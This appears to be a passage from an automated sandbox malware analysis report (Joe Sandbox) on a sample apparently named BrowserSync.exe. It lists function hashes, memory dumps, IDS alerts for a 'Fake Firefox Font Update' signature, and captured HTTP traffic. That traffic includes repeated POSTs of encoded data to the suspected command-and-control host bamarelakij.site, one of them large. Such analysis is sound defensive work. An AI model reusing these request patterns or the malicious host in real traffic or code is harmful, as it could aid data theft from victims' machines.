Associated: 0000000A.00000002.2058416194.000000006C5FB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058452461.000000006C5FF000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c1b0000_hv.jbxd

Similarity

API ID: Init_thread_footerInit_thread_header
String ID: @[_l$@[_l
API String ID: 4092853384-753390086
Opcode ID: ed90f49bca0401eeb806ee11a46f0694f3bc9d39eace42dc77d8283e214a2921
Instruction ID: b9b7b28428fd345e1ed054d7dcdfc0184055bae4f40cc50634e3102267b5c6cb
Opcode Fuzzy Hash: ed90f49bca0401eeb806ee11a46f0694f3bc9d39eace42dc77d8283e214a2921
Instruction Fuzzy Hash: B6E0223CA003048BE5188F98EC61F4873A0B74670CF4045BAC4369EF88CF31A8168E4B

Function 6C40CE12 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcschr.LIBVCRUNTIME ref: 6C40CF9C
_wcschr.LIBVCRUNTIME ref: 6C40CFAA

Strings

utf8, xrefs: 6C40CFDA

Memory Dump Source

Source File: 0000000A.00000002.2053294754.000000006C336000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C1B0000, based on PE: true

Associated: 0000000A.00000002.2053275056.000000006C1B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C1B1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C266000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C2F4000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C323000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2053294754.000000006C327000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C41A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C445000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4B2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4C6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4CE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4D2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C4DB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C546000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C55C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C575000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C59A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5AF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5D4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5E7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2057069262.000000006C5EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058290832.000000006C5EF000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058373009.000000006C5F3000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058416194.000000006C5FB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2058452461.000000006C5FF000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c1b0000_hv.jbxd

Similarity

API ID: _wcschr
String ID: utf8
API String ID: 2691759472-905460609
Opcode ID: 8f349e912c2ec3245b21cf311aa491b834157ce7981d88ee99cafdba61ad8e78
Instruction ID: 597f78d5b3a928517f0990e1f7dfdf6e58492b63b0c76544e0dd93d916289b12
Opcode Fuzzy Hash: 8f349e912c2ec3245b21cf311aa491b834157ce7981d88ee99cafdba61ad8e78
Instruction Fuzzy Hash: F0510431784301EAE715EF358C40FA637B8AF4970DF20043AE95997B80FB70E54A86E6

Analysis Process: BrowserSync.exePID: 6108, Parent PID: 7324COMMON

Non-executed Functions

Function 022041F8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2777521557.00000000021A8000.00000004.00000020.00020000.00000000.sdmp, Offset: 021A8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_21a8000_BrowserSync.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d522a94a3de5da0d3362dc6dc87c4e4e174c347f260829ace74233054d039dc
Instruction ID: ff55e6c25143a78330f3574ad2d8a7b75714f975fc7e8454d5e985c96a180ee6
Opcode Fuzzy Hash: 1d522a94a3de5da0d3362dc6dc87c4e4e174c347f260829ace74233054d039dc
Instruction Fuzzy Hash: 58017C363286028FC319DAA9C8D47A577E2FB89344F14857CE587C32A6EB74D882C701

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49887 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49875 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49994 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50002 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50012 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50022 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50031 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50042 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50078 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50100 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50107 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50008 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50118 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50122 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50086 -> 172.67.174.91:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50093 -> 172.67.174.91:443

Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Content-Length: 147Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 53Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 208Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /resolver/api/resolve/v3/config/?expType=AppConfig&expInstance=default&apptype=edgeChromium&v=20250109.199&targetScope={%22audienceMode%22:%22adult%22,%22browser%22:{%22browserType%22:%22edgeChromium%22,%22version%22:%22117%22,%22ismobile%22:%22false%22},%22deviceFormFactor%22:%22desktop%22,%22domain%22:%22ntp.msn.com%22,%22locale%22:{%22content%22:{%22language%22:%22en%22,%22market%22:%22us%22},%22display%22:{%22language%22:%22en%22,%22market%22:%22us%22}},%22os%22:%22windows%22,%22platform%22:%22web%22,%22pageType%22:%22dhp%22,%22pageExperiments%22:[%22prg-1s-twid%22,%22prg-1s-workid%22,%22prg-1sw-agfspf1%22,%22prg-1sw-aitt-dt%22,%22prg-1sw-bg-p2%22,%22prg-1sw-cc-calfeedi%22,%22prg-1sw-cgl1qr%22,%22prg-1sw-cmevlt%22,%22prg-1sw-crypinf%22,%22prg-1sw-cryptren%22,%22prg-1sw-ldny-transit%22,%22prg-1sw-reclaim%22,%22prg-1sw-reclaim2%22,%22prg-1sw-sa-capconf2t3%22,%22prg-1sw-sa-capwp1t5%22,%22prg-1sw-sa-dnet%22,%22prg-1sw-sa-sp7-tcc%22,%22prg-1sw-saccunifyv2t1%22,%22prg-1sw-sagervunipa%22,%22prg-1sw-tbrfltr%22,%22prg-1sw-tran-trd%22,%22prg-1sw-uclam%22,%22prg-1sw-videopb%22,%22prg-1sw-videosxap%22,%22prg-1sw-wxnhcolk%22,%22prg-1sw-wxomghd%22,%22prg-1unified-u-t%22,%22prg-ad-chtag%22,%22prg-adspeek%22,%22prg-cg-ab-testing%22,%22prg-cg-game-exp-1%22,%22prg-cg-game-exp-11%22,%22prg-cg-ingames-ct%22,%22prg-cg-lstfix%22,%22prg-cg-zhcnfx%22,%22prg-cnexb%22,%22prg-fin-compof%22,%22prg-fin-hpoflio%22,%22prg-fin-poflio%22,%22prg-fin-rmar%22,%22prg-gc-pickwinner%22,%22prg-p1-txt2%22,%22prg-p1-uc3%22,%22prg-p2-tf-bdgpv-ai%22,%22prg-pr1-uc-t%22,%22prg-pr1-videos%22,%22prg-pr2-fieplc%22,%22prg-pr2-lifecycleba%22,%22prg-pr2-rail2colboard%22,%22prg-pr2-stalecontent%22,%22prg-pr2-stalecontent-dt%22,%22prg-pr2-trf-rhighimp%22,%22prg-pr2-uxmitipreimg-c%22,%22prg-pr2-widget-tab%22,%22prg-pr2-wxevolnoti%22,%22prg-pw-bhpvtip%22,%22prg-pw-t-cct-migrate%22,%22prg-pw-t-dup-content%22,%22prg-pw-t-no-ad-css%22,%22prg-sh-bd-video%22,%22prg-sh-dealsdaypdp%22,%22prg-sh-frnr%22,%22prg-sh-rmitmlnk-c%22,%22prg-shipwidoff%22,%22prg-sp-liveapi%22,%22prg-stalewhp%22,%22prg-tv-api%22,%22prg-tv-segcap10%22,%22prg-upsaip-w1-t%22,%22prg-vid-cd%22,%22prg-vid-trdcache%22,%22prg-widgets-manager%22,%22prg-widgets-region%22,%22prg-wtch-chsb-t2%22,%22prg-wx-dhgrd%22,%22prg-wx-pwafull%22]} HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: HEAD /statics/icons/favicon.ico HTTP/1.1Host: assets.msn.comConnection: keep-alivePragma: no-cacheCache-Control: no-cachesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1736430067774&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3AADB05FC3906D36247DA530C2F26CF4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736430067772&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 3857sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3AADB05FC3906D36247DA530C2F26CF4; _EDGE_S=F=1&SID=1568EDC37D376DE73348F8AC7CFA6C29; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b2?rn=1736430067774&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3AADB05FC3906D36247DA530C2F26CF4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1B69ceef9c01beafbf02b721736430068; XID=1B69ceef9c01beafbf02b721736430068
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1736430067774&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c0bbf685d83c442b9fe503242c20b6fc&activityId=c0bbf685d83c442b9fe503242c20b6fc&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C7020E5FD97649BABA433FD711F27806&MUID=3AADB05FC3906D36247DA530C2F26CF4 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3AADB05FC3906D36247DA530C2F26CF4; _EDGE_S=F=1&SID=1568EDC37D376DE73348F8AC7CFA6C29; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736430069999&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 11053sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3AADB05FC3906D36247DA530C2F26CF4; _EDGE_S=F=1&SID=1568EDC37D376DE73348F8AC7CFA6C29; _EDGE_V=1
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736430070008&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 32378sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3AADB05FC3906D36247DA530C2F26CF4; _EDGE_S=F=1&SID=1568EDC37D376DE73348F8AC7CFA6C29; _EDGE_V=1
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736430070599&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 5380sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3AADB05FC3906D36247DA530C2F26CF4; _EDGE_S=F=1&SID=1568EDC37D376DE73348F8AC7CFA6C29; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736430070992&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9881sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3AADB05FC3906D36247DA530C2F26CF4; _EDGE_S=F=1&SID=1568EDC37D376DE73348F8AC7CFA6C29; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Content-Length: 147Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 53Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 106564Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 745Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 212Host: bamarelakij.site
